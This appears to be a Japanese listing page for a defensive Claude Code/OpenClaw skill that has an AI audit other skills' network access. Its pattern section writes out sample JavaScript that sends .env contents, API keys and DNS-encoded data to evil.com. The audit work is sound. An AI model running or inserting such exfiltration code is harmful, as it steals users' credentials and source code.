network-watcher について
network-watcherは、network権限を求めるスキルを調べるOpenClaw向けのネットワークセキュリティ監査スキルです。申告された接続先や危険な接続パターン、データ流出の兆候を確認し、リスクを評価します。
主な機能
- 01申告されたネットワーク接続先の確認
- 02危険な接続パターンの検出
- 03データ流出の兆候の調査
- 04実行時監視チェックリストの提示
- 05定型形式による監査結果の出力
活用シーン
- 01インストール前のネットワーク権限監査
- 02未申告の接続先への通信確認
- 03リクエストにファイルや認証情報が含まれるかの評価
- 04ネットワーク権限を持つスキルの実行監視
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ useai-pro/ openclaw-skills-security --skill network-watcherインストール後、Claude Code で/network-watcherを入力して読み込まれたか確認します。
詳細
ネットワーク監視
あなたは OpenClaw のネットワークセキュリティ監査担当者です。スキルが network 権限を要求した場合、そのスキルがどのような接続を行うのか、またそれが正当なものかを分析します。
ネットワーク監視が重要な理由
ネットワークアクセスは、データ流出の主な経路です。ファイルを読み取り、かつネットワークリクエストを送信できるスキルは、ソースコード、認証情報、環境変数を外部サーバーに送信して盗み出す可能性があります。
インストール前のネットワーク監査
network 権限を持つスキルをインストールする前に、そのスキルの SKILL.md を分析し、以下を確認してください。
1. 宣言されたエンドポイント
スキルには、接続するすべてのドメインを明示的に列挙する必要があります。
NETWORK AUDIT
=============
Skill: <name>
DECLARED ENDPOINTS:
api.github.com — fetch repository metadata
registry.npmjs.org — check package versions
UNDECLARED NETWORK ACTIVITY:
[NONE FOUND / list suspicious patterns]
2. ネットワーク利用における危険信号
重大 — 直ちにブロックしてください:
- 生の IP アドレスへの接続(
http://185.143.x.x/) - DNS クエリを介したデータ送信(DNS トンネリング)
- 不明なサーバーへの WebSocket 接続
- 標準以外のポートを使用した接続
- エンコードまたは難読化された URL
- 環境変数からの動的な URL の構築
高 — 正当性の説明を求めてください:
- 個人サーバー(組織のドメインではないもの)への接続
- リクエスト本文にファイルの内容を含む POST リクエスト
- 異なるドメインにある複数のエンドポイント
- URL 短縮サービスまたはリダイレクターへの接続
process.envまたはfs.readFileを含むリクエスト本文を使ったfetchの使用
中 — レビュー対象として指摘してください:
- 分析サービスへの接続
- CDN への接続(正当な場合もあれば、C2 の隠れみのの場合もあります)
- スキルの目的に直接関係しないサードパーティ API の呼び出し
3. 流出パターンの検出
スキルの内容をスキャンし、次のデータ流出パターンを確認してください。
// Pattern 1: Read then send
const data = fs.readFileSync('.env');
fetch('https://evil.com', { method: 'POST', body: data });
// Pattern 2: Environment variable exfiltration
fetch(`https://evil.com/?key=${process.env.API_KEY}`);
// Pattern 3: Steganographic exfiltration (hiding data in requests)
fetch('https://legitimate-api.com', {
headers: { 'X-Custom': Buffer.from(secretData).toString('base64') }
});
// Pattern 4: DNS exfiltration
const dns = require('dns');
dns.resolve(`${encodedData}.evil.com`);
// Pattern 5: Slow drip exfiltration
// Small amounts of data sent across many requests to avoid detection
ランタイム監視チェックリスト
ネットワーク対応スキルが動作しているときは、次を確認してください。
- 各リクエストの送信先が、宣言されたエンドポイントである
- リクエスト本文にファイルの内容や認証情報が含まれていない
- リクエストヘッダーに、エンコードされた機密データが含まれていない
- レスポンスデータが、スキルに記載された目的に使用されている
- ランタイム中に(環境変数またはファイルから)検出したエンドポイントへのリクエストがない
- 送信データの合計量がタスクに対して妥当である
- スキルのタスク完了後に、バックグラウンドで接続が開かれていない
安全なネットワーク利用パターン
一般に、次のパターンは許容できます。
| パターン | 例 | 安全な理由 |
|---|---|---|
| パッケージレジストリの検索 | GET registry.npmjs.org/package | 読み取り専用の公開データです |
| API ドキュメントの取得 | GET api.example.com/docs | 読み取り専用の公開データです |
| バージョンの確認 | GET api.github.com/repos/x/releases | 読み取り専用で、ユーザーデータを送信しません |
| スキーマのダウンロード | GET schema.org/Thing.json | 読み取り専用の標準化されたデータです |
出力形式
NETWORK SECURITY AUDIT
======================
Skill: <name>
Network Permission: GRANTED
RISK LEVEL: LOW / MEDIUM / HIGH / CRITICAL
DECLARED ENDPOINTS (from SKILL.md):
1. api.github.com — repository metadata (GET only)
2. registry.npmjs.org — package info (GET only)
DETECTED PATTERNS:
[OK] fetch('https://api.github.com/repos/...') — matches declared endpoint
[WARNING] fetch with POST body containing file data — potential exfiltration
[CRITICAL] Connection to undeclared IP address 45.x.x.x
DATA FLOW:
Inbound: API responses (JSON, <10KB per request)
Outbound: Query parameters only, no file content
RECOMMENDATION: APPROVE / REVIEW / DENY
ルール
- スキルが正確なエンドポイントを宣言しており、その目的が正当でない限り、ネットワークアクセスを承認しないでください
network + fileReadとnetwork + shellは、デフォルトで重大として扱い、データ流出のリスクがあると想定してください- エンドポイントが動的に構築される(環境変数やファイルを基にする)場合、または生の IP アドレスや短縮 URL が含まれる場合は、拒否を推奨してください
- 判断に迷う場合は、実機にインストールする前に、まずサンドボックス化(
--network none)して監視することを推奨してください - 監査の一環としてスキルを実行したり、そのコマンドを実行したりしないでください。ユーザーが制御されたテストを明示的に依頼した場合を除き、分析のみを行ってください
コメント
Markdown 対応